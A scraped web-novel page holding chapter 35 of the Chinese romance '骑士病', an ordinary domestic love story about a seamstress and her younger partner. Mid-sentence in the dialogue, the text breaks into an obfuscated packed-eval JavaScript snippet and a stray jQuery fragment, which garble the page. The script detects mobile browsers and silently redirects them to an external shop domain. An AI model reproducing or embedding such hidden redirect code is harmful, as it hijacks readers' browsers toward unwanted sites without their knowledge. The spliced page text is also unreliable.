文趣网 > 都市小说 > 骑士病 > 35. 第 35 章
    黑暗中,那人一动不动,一边月光漫撒,落满了他半个肩膀,显得是那么孤寂。

    陈叙宁靠近,看清了他躺倒在沙发上的模样,半仰着头露出凸起的喉结,头发有几根散乱地落在额前,西装外套随意丢在旁边,浓烈的酒气四散开来。

    “纪时珩?”她走到他身边,轻声呼唤。

    纪时珩猛然睁开眼睛,一双眼睛猩红还聚不了神,好一会儿才落在她身上,反应迟钝地“嗯”了一声。

    陈叙宁眉毛蹙着,怎么喝成这样?

    她转身去厨房泡了一杯温的蜂蜜水给他,但他握不稳连眼睛都半阖上了。

    她只好自己坐在一边喂他慢慢喝,还在嘀咕:“谁敢把你灌成这样……”

    “要不要吐?”她又问。

    纪时珩闭着眼睛没有说话,额头磕在她的肩膀上睡了过去,手臂上都是他灼热滚烫的呼吸。

    陈叙宁都有点心疼了,任由他靠了一会儿,然后小心地将他要抬去自己房间,这样也好照顾,但没想到到了门口他停住了不愿再进去,她只好回了他房间。

    将人扶上去躺好,把沾满了酒气的衣服扒了下来,去浴室拿了毛巾给他简单地擦了一下,换上了睡衣,又去给他倒了杯蜂蜜水放在床头柜备着,要是半夜醒来渴了还能喝。

    见人已经睡过去了,眉毛还不自觉地皱着,她伸手将其抚平,给他盖上了薄毯看了一会儿后起身,谁知下一秒小拇指就被人勾住了,旋即整只手都被包了进去。

    陈叙宁一顿,心里说不出心里什么滋味,半是埋怨地说:“谁叫你喝这么多的,我不和你一起睡,臭死了。”

    纪时珩只是将她的手掌贴在自己滚烫的脸上摇头。

    还是第一次见他这副模样,乖乖躺着不发酒疯也不说话,像是能随意任她所为,突然就想到了那件事,刚好可以趁着现在进行。

    她先把自己的手抽了出来回到自己的房间找东西。

    因为阿姨搞了卫生,她的卷尺又小,所以花了一会儿功夫才找到,返回去时被门口悄无声息站着的人吓了一大跳。

    “你怎么起来了!”陈叙宁惊道,“快回去躺着。”

    纪时珩没有动作,只是她走近时唤了一声姐姐,声音低低的沙哑的……可怜的,叫得她后脑勺一麻,缠缠绵绵地蔓延至全身,还没反应过来时,便被卷入熟悉的臂弯之中。

    “姐姐。”

    “别走。”

    “有钱……”

    陈叙宁眼里本来都慢慢润上了一层朦胧水意,听到最后一句又给逼了回去,哭笑不得,为什么他对钱这么执念呢?

    她寻思着她小时候虽然嘴馋喜欢钱,但也没到这地步吧,几年前也是刻意强调她找了个有钱男朋友,这会儿又这么说,他对她是不是有什么误解?

    “你有钱也烦。”她嘟囔了一句。

    话音刚落,颈窝那块就被突如其来的眼泪噼里啪啦给淹了,她刚换的睡衣!

    “好好好不烦不烦……”

    陈叙宁嘴里安慰着,连忙把这只沉重的爱哭的大熊半拖半抱地挪回了床上,自己也跟着倒了下去,被他禁锢在怀里。

    周围全是他的气息和酒味。

    “你把我放开就不烦。”她说。

    纪时珩反倒抱得更紧了。

    陈叙宁无奈地放弃了,望着天花板在思索该怎么办才能让他放开并且乖乖有她动作。

    良久,一个法子冒了出来,她侧着头叫纪时珩的名字没得到反应,又凑到耳边连叫了几声哥哥,男人忽然一动贴在她耳朵后面那块不动了。

    陈叙宁趁热打铁,往他耳朵里吹气:“哥哥,让我摸一摸你好不好?”

    她在心里数一二三,下一秒男人的手果然松开了。

    男人本性啊,陈叙宁感慨归感慨赶紧从他身上爬了起来,拿起卷尺开始行动,将人拉起来站直了将他手臂打开左摆右摆,又让他坐下,围着他绕来绕去,把数据记到了手机备忘录里,希望他明天醒来不记得这些,不然还真不好解释。

    背后都汗湿了,她起身伸了个懒腰扭着脖子,想回去换一身睡衣,刚走一两步,男人又鬼一样地缠上来。

    还没睡?!

    陈叙宁跟他打商量:“我回房里换个衣服。”

    纪时珩睁开眼,步伐稳健地走进衣橱间,从里面拿了一件他的短袖,随后递给她。

    陈叙宁拿着跟烫手山芋似的:“让我穿你的?”

    纪时珩“嗯”了一声,接着一言不发竟然要直接动手帮她穿,她受不了了,把他推开躲进了厕所赶紧把衣服换上了,只是这他的衣服还是有些宽大,把她的睡衣短裤都罩住了,只露出两条白花花的大腿。

    她一打开门,就是纪时珩直直射过来的目光,两只黝黑的眼瞳里好似起了点波动。

    陈叙宁浑然不觉,扯着衣摆走过去,被他一把拉进了怀里,她惊呼,不过好在他没有做其他的,只是抱着她睡觉,想抱着一只玩偶般,蹭着她的头发侧脸和脖子。

    她被一个火炉抱着,好半晌才又睡了过去。

    隔天醒来时,纪时珩已经走了,窗帘拉得密不透风,她一时分不清昼夜,打开手机一看已经八点多了,她上班都要迟到了!

    虽然做这行的工作时间不会那么强硬固定,但她还是给自己定了时间,主要是怕自己会懒,还不如一开始就定好规则。

    她匆忙赶到工作室,小戴和另一个员工小何已经到了,旁边是临时招的一些车工帮忙,她们在忙活前一段时间刘姐推荐过来的几个商单,陈叙宁完全交给了她们自己做,她只负责检查监督,另外还要准备谢滦的订制。

    “老板你迟到了扣工资!”小戴大声道。

    “扣扣扣。”陈叙宁提着包走进来,抹去了额头上的汗。

    先是检查了一下她们的进度,发现没什么问题后先坐到了一边,给谢滦发信息要数据,并问最晚多久交货。

    谢滦一时半会没回她,她就先干别的,把昨天量的纪时珩的数据拿了出来,然后算了一下没有的数据,和自己的摆在一起。

    随后联系了之前常合作的一个厂家,把图发了过去给她印一下布,这种几米几米的人家平时都不接,得亏她是老客户才接的。

    纪时珩生日就要到了,到时候就送他这个,他一套自己一套,也算情侣睡衣?

    当然这只是其中一个礼物,她后面还想亲手给他做一件西服,当做是他十八岁成人礼的礼物。

    昨晚发现他把自己送的生日礼物都留着,自己还欠了他那么多东西,就想着这个生日送些东西弥补给他。

    好一会儿,她刚退出和厂家的聊天界面就收到了谢滦的回复,他发了数据过来,还补充到这是三四年前的数据,后面是几张图片,全是一个小玩偶的图片,各种姿势不同的造型,他说这是她的角色,可以用来参考,至于交货时间,那得等他找到人再说。

    陈叙宁回复收到,想着能做多少件就做多少件,也让他这钱花得值一点,接下来便钻进了工作之中。

    吃午饭的时候得空玩一下手机,发现纪时珩并没有给她发信息,难道发信息也要改吗?

    她其实觉得也没有那么烦的,可以适当地骚扰一下她,真的。

    下午没什么事,陈叙宁便跟她们分享了一下这次旅程,还特意把几个款式摆到了ppt上分析,那几个临时工也在一边听着。

    一天也就这么过去了,看在前段时间纪时珩一直等她下班的份上,陈叙宁今天回得特别早,还给他买了草莓。

    她做饭前和他发了信息但是好久都没回,只好给江助打了电话。

    “老板他还在开会,晚点还要出去,可能不能回去了,我等会和他说一声?”

    “没事没事,你们忙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750236|206431||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你们的。”

    陈叙宁手里择菜的动作慢了下来,人家都不回来吃,还做那些干什么。

    她心里有点苦闷,为什么总是这么不凑巧呢,总是有一个人忙,总是凑不到一块,老天像是存心和她作对似的,开心几天就要伤心几天。

    她忽然有些理解为什么纪时珩总要给她发信息总要催她下班了,谁对着这么个空荡荡的房子都提不起劲来。

    晚饭随意炒了个蛋炒饭吃,收到了纪时珩的电话,听到他明显疲惫的声音传了过来。

    “我今天可能要晚点回去,不用等我。”

    “你怎么这么忙啊,是不是又没吃饭?”她把关心夹在埋怨里。

    纪时珩顿了好几秒才说道:“吃了。”

    “骗人。”

    “等会就吃。”

    “那我到时候要问江助,你要是没吃我就……就那我也不吃了!”

    话筒里响起一声轻笑,纪时珩听着这好笑的话语,揉了揉酸胀的额角,嘴角微扬:“好,等会就吃。”

    陈叙宁听着这话眨了眨眼睛,一个人吃着饭,脚边的小鸡缠着她撒娇,眼睛不看镜头,不经意间地问:“你这几天都很忙吗?”

    “怎么了?”

    她扣着指甲,语气依旧飘忽:“感觉我们很少聊天了。”

    那边忽然传来一声轻笑,他道:“这不正是你想要的吗?”

    这就是她先前想要的,嫌他过于腻人,现在改了她反倒不乐意了。

    陈叙宁脸有点烧,嘴里滋滋呃呃的解释不出来,就干脆糊弄过去:“挺好挺好。”

    那边没回话,隔了一会儿叹气,气声隔着话筒丝丝缕缕窜入耳中,听他轻声解释:“最近忙,甲方那边突然提了很多要求。”

    陈叙宁燥乱的心平静下来,她很理解这种,因为她也经常从床上爬起来改图改衣服。

    “这几天估计都回得晚,你先睡。”

    陈叙宁撇撇嘴,心想他俩又不睡一块,她又没说要等他一起睡觉。

    电话挂断后,她自己回了房间,洗漱完之后靠在床头拿出电脑开始设计睡衣,她打算在他那款上面画一些小狗,她的画草莓。

    她发现自己对他有点执迷于狗塑,一方面是觉得他在某方面真的有点像小狗,当然不是她害怕的那种,而是那种很忠诚威严偶尔也会撒娇的,总之能给她安全感的同时也能任她揉搓,还有一方面是当初他自己说他是狗的。

    不知不觉画到了深夜,指针转到十一点时才听到门外的响动,她本想出去看看,但这样一来不久露馅了吗,显得她在等他一样,于是赶紧关掉了电脑和灯,盖上被子睡起来。

    纪时珩一进屋,小鸡就扑到了加上,他抬着它挪动着,当然注意到了旁边房间门缝突然消失的亮光。

    陈叙宁在黑暗中睁着眼睛,耳朵一直在注意外边的动静,好像突然消失了,不会又喝醉了吧?!

    她越想越有这个可能,于是下了床打开门,然而看到的是一副小纪逗小鸡的画面。

    纪时珩一身马甲衬衣蹲在一边,侧头看来,略一挑眉:“还没睡?”

    陈叙宁有种被捉弄了的感觉,她耸了耸鼻子:“我上厕所!”

    说完便去了外边的利落转身去了一边的公卫,可他记得她房间里是有卫生间的。

    陈叙宁进去呆了一会儿觉得差不多了还专门按了冲水洗了个手出来,然后目不转移从他身边走过回了房间。

    她钻进被窝里后一动不动,本以为他会追上来的,没想到一点反应也没有!

    她正独自气恼着,在想要不要在衣服上多画几只狗,想得入神,门不知道在什么时候打开了。

    男人带着一身水汽靠近,撑在他耳边:“没喝酒,能和姐姐一起睡吗?”

    呵!

    这可不是她等他,是他主动上门的,免费抱枕不要白不要。